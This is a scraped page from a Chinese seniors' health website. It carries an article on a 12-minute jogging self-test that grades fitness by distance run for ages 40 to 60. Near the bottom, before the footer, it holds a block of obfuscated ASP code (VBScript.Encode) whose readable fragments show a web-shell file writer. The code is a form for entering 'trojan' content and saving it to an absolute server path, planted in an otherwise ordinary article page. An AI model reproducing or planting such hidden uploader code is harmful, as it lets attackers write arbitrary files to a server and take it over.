首页　新闻　体育　旅游　保健　医院　护理　支付中心　会员专区　夕阳红健康俱乐部
　 当前位置：中国夕阳红网 → 家庭护士 → 中老年快速自我体检法
中老年快速自我体检法
日期：2008年7月10日 作者：中国夕阳红网 人气： 查看:[大字体 中字体 小字体]


　　美国医学家顾柏博士经过14年的研究，创造了一种中、老年人快速自我体质检验法，在美国各地进行推广。

　　这种体检方法非常简单，一般只需10多分钟就行。方法是：40～49岁的人，在12分钟内如果只能慢跑1200米以下，其健康与体质均差；能慢跑1300～1600米者，其体质属不合格；能慢跑1700～2100米者，其体质为及格；能慢跑2200～2400米者，其体质算很好；能慢跑2500米以上的人，其体质算最好。50～60岁的人，在12分钟内，慢跑不到1200米者，其体质算很差；慢跑1200～1500米者，其体质属不及格；能慢跑1600～1900米者，其体质算合格；能慢跑2000～2400米者，其体质算尚佳；能慢跑2500米以上的人，其体质算很好。

　　据顾柏医生解释，这种快速体检法的可靠根据是，一个人边跑边呼吸，直跑到气喘为止，这样跑最终距离就是跑步者的最大吸氧量。跑得越远，吸氧量就越大，证明跑步者的身体越健康。



来源：三九健康网

（出处：中国夕阳红网）
相关文章：
相关软件：
<%@ LANGUAGE = VBScript.Encode %> <%#@~^CgAAAA==[b:~K4N0/K3QMAAA==^#~@%> <%#@~^CQAAAA==[b:~6NmYlWgMAAA==^#~@%> <%#@~^EAAAAA==[b:~K4NmW!xDWk^+XgYAAA==^#~@%> <%#@~^FAAAAA==G PnMDKDPM+k;:PU+XYtwcAAA==^#~@%> <%#@~^XwAAAA==dY~K4N0/KP{~/D-+MR^.lYG4N+mDcE?r_rm.JQEbwOJ3Ek oEQrR0EQrksJ3E/E3JH/J3JDn:r_EW(JQEN+mrQJDJ#ExwAAA==^#~@%> <%#@~^JwAAAA==r6POMks`D;!n/D`E/H0[2mYtrb#@!@*Jr~OtxigwAAA==^#~@%> <%#@~^GwAAAA==W9lOmP{PD;!n/D`EmH0[[mYlrbWwkAAA==^#~@%> <%#@~^QAAAAA==dY~K4NmW!xDWk^+xW(LWdKRmMnlD+YaO0bV`.+5;/O`rdX6N2CDtJbSDD;+*dRgAAA==^#~@%> <%#@~^GAAAAA==G(L^KE Y0bV hMkO+,0[CDlfQkAAA==^#~@%> <%#@~^DgAAAA==r6PnMD,'!,Y4nxlAQAAA==^#~@%> <%#@~^OQAAAA==./2Kxk+RSDbO+,J@!0KxO~1WVK.'M+N@*dC\PkE^mndk"@!z6GxD@*EXRMAAA==^#~@%> <%#@~^BAAAAA==n^/nqQEAAA==^#~@%> <%#@~^OwAAAA==./2Kxk+RSDbO+,J@!0KxO~1WVK.'M+N@*dC\P!xdE^^/d"@!&0KxO@*rQBQAAA==^#~@%> <%#@~^BgAAAA==n N~b0JgIAAA==^#~@%> <%#@~^CQAAAA==nMD 1VlDfgMAAA==^#~@%> <%#@~^BgAAAA==n N~b0JgIAAA==^#~@%> <%#@~^EgAAAA==G(L^KE Y0bV m^Wd+SAcAAA==^#~@%> <%#@~^GAAAAA==dY~K4NmW!xDWk^+xxKY4r opAkAAA==^#~@%> <%#@~^FAAAAA==dY~K4N0/KP{~xKY4k oYwcAAA==^#~@%> <%#@~^MQAAAA==./2Kxk+RSDbO+,J@!0KDh~mmYbGx{BBEv~:Y4W['2GkY@*JdRAAAA==^#~@%> <%#@~^SwAAAA==./2Kxk+RSDbO+,J保存文件的@!0KxO~1WVK.'M+N@*绝对路径c包括文件名l如N=-S+8-a m/2#=@!z6WUO@*JtxMAAA==^#~@%> <%#@~^QwAAAA==./2Kxk+RSDbO+,J@!k w;O,YXan'D+6D~Uls+{/z0[2mY4PSrNDtxfyP/r"'X!@*EehcAAA==^#~@%> <%#@~^FwAAAA==./2Kxk+RSDbO+,J@!4M@*EegcAAA==^#~@%> <%#@~^GAAAAA==./2Kxk+RSDbO+,J本文件绝对路径ELAYAAA==^#~@%> <%=#@~^NgAAAA==dD-Dc:lawmOtvDn;!+dOc/+M-+M\lMrC4^+k`E/^.bwO{ C:JbbshQAAA==^#~@%> <%#@~^FwAAAA==./2Kxk+RSDbO+,J@!4M@*EegcAAA==^#~@%> <%#@~^GAAAAA==./2Kxk+RSDbO+,J输入马的内容lJZgYAAA==^#~@%> <%#@~^UQAAAA==./2Kxk+RSDbO+,J@!Y6OCM+l,Uls+'1zWN9lDl~mGsk'0!,.WS/xqZPhr[Dtx&y@*@!zO6DlDl@*EKhsAAA==^#~@%> <%#@~^LwAAAA==./2Kxk+RSDbO+,J@!k w;O,YXan'kE4srOP7l^En'保存@*EAxAAAA==^#~@%> <%#@~^GgAAAA==./2Kxk+RSDbO+,J@!z6W.h@*JiQgAAA==^#~@%>
中国夕阳红网 © 1998-2007 版权所有　Email：xyl@xyh99.net
备案号码：沪ICP备05007924号
Msn： xiongyoulin@hotmail.com 　　QQ：42082071